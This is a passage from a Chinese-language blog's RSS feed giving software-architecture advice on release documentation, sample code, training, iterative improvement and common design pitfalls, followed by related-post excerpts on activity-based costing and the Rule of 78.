/>毫无疑问，框架/平台和工具是架构发布主要内容之一。    <br />文档    <br />除去框架框架/平台和工具，还有其他重要的内容需要发布，文档无疑必须的。但文档也存在尴尬的情况，已知的工程实践中已经发布了太多无用的文档、过期的文档。    <br />应努力保证所发布文档的必要性和有效性，建议文档如下：    <br />l 架构介绍，可以参考RUP4+1视图，部署视图、运行视图、开发视图等    <br />l 快速入门    <br />l 开发指南    <br />l 服务配置和使用介绍    <br />示例代码    <br />完整可用的代码，运行脚本、注释。完整丰富的示例代码在很多时候比文档更直接，尤其在展示细节问题上。    <br />培训和指导    <br />很多时候，培训和指导被忽略了。相对于文档和示例代码，培训和指导更有互动性，可以更深入讨论，并可以深入到架构设计背后的故事。    <br />架构改进    <br />如前所述，通常无法一次收集完整地非功能性需求；而随着时间发展，更新更细节的非功能性需求会不断的涌现和被发现；还有一部分之前已识别但被暂时搁置的非功能性需求开始变得重要。因此架构需要不断发展，而此时的改进通常是以小步快跑的方式进行。    <br />下一个周期    <br />不能期望10年前的架构能够满足今天的需求（它可能依然可以工作）。架构发布后到一定阶段，已经无法通过小的改进满足新的要求，重新进行架构设计成为一个必然。而当前的架构设计可以转为下一次设计的基线。    <br />常见的问题    <br />l 试图创建一个私有的编程模型标准    <br />很少有人这么干，不过有时还遇到这样的做法。通常在封装一些商业或开源产品，美名其曰——隔离实现，这是一个危险的做法，其实质是创建一个私有编程模型标准，如果业界没有纸上标准或实际标准，基于某个产品实现所建立的私有标准无法真正的迁移到别的产品实现；如果有，那就根本不需要建立私有标准。    <br />另有一种封装，其目的是为了简化商业或开源产品，这种封装不打算屏蔽底层的实现——它只是让工作更简单。    <br />如果一定要创建一个编程模型的话，应该是POJO。    <br />l 不那么正确的二八原理    <br />二八原理通常很有效，然而它有缺陷——他是基于统计的，这意味着是事后应对。如果没有已有实践经验，那么在一开始很难做出正确判断。    <br />而一旦做出错误的决策导致的问题，很可能出现“玻璃裂纹”现象——不断的扩散并破坏架构设计——直到玻璃碎掉。    <br />更槽糕的是，很多时候所谓的二八划分，基于的是感觉而非统计。    <br />l 过分关注在技术模型上    <br />虽然架构针对的非功能性需求，关注在技术模型没有问题，但是实际上更应关注的是信息模型。而在多数情况下，信息模型是以层的形式来表示。    <br />这里面最典型的是所谓的N层（n-tier）模型，实际上，N层（n-tier）模型就是一个技术模型，描述的一个分布式系统结构。    <br />而真正的N层（n-layer）设计却被忽视，分层Layer模式才是一个架构模式（见POSA vol1），ISO-7层网络协议是一个典型示例。</p>
<div id="seo_alrp_related"><h2>Posts Related to 如何定义和建立架构</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2010/03/07/258.html" rel="bookmark">什么是ABC成本法</a></h3><p>ABC成本法(Activity Based Costing)   什么是ABC成本法 　　ABC成本法又称作业成本分析法、作业成本计算法,作业成本核算法 　　ABC成本法的产生，最早可以追溯到20世纪杰出的会计大师、美国人埃里克·科勒（Eric Kohler）教授。科勒教授在1952年编著的《会计师词典》中，首次提出了作业、作业帐户、作业会计等概念。1971年，乔治·斯托布斯（George Staubus）教授在《作业成本计算和投入产出会计》（Activity Costing and Input Output Accounting）中对"作业"、"成本"、"作业会计"、"作业投入产出系统"等概念作了全面、系统的讨论。 　　这是理论上研究作业会计的第一部宝贵著作。但是，当时作业成本法却未能在理论界和实业界引起足够的重视。20世纪80年代后期，随着MRP、CAD、CAM、MIS的广泛应用，以及MRPII、FMS和CIMS的兴起，使得美国实业界普遍感到产品成本住处与现实脱节，成本扭曲普通存在，且扭曲程度令人吃惊。美国芝加哥大学的青年学者库伯（Robin Cooper）和哈佛大学教授卡普兰（Robert S Kaplan）注意到这种情况，在对美国公司调查研究之后，发展了斯托布斯的思想，提出了以作业为基础的成本计算（1988）（Activity Based Costing，简称ABC法）。作业成本法在过去10年中受到了广泛的关注，新型的咨询公司已经扩展了作业成本法的应用范围并研发出相应的软件。 　　ABC成本法引人了许多新概念，下图显示了作业成本计算中各概念之间的关系。资源按资源动因分配到作业或作业中心，作业成本按作业动因分配到产品。分配到作业的资源构成该作业的成本要素（图中的黑点），多个成本要素构成作业成本池（中间的小方框），多个作业构成作业中心（中间的椭圆）。作业动因包括资源动因和成本动因，分别是将资源和作业成本进行分配的依据。 ABC成本法是基于活动的成本管理 　　那么，什么是基于活动的成本管理？ 　　成本管理是按照现行的会计制度，依据一定的规范计算材料费、人工费、管理费、财务费等的一种核算方法。这种管理法有时不能反映出所从事的活动与成本之间的直接联系。而ABC成本法相当于一个滤镜，它对原来的成本方法做了重新调整，使得人们能够看到成本的消耗和所从事工作之间的直接联系，这样人们可以分析哪些成本投入是有效的，哪些成本投入是无效的。 　　ABC成本法主要关注生产运作过程，加强运作管理，关注具体活动及相应的成本，同时强化基于活动的成本管理 ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2010/07/26/413.html" rel="bookmark">Rule of 78 Loan</a></h3><p>&#160; Some creditors use tables based on a method called the Rule of 78, also known as the sum of the digits method to determine ...</p></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://blog.yxzone.net/2012/04/05/608.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

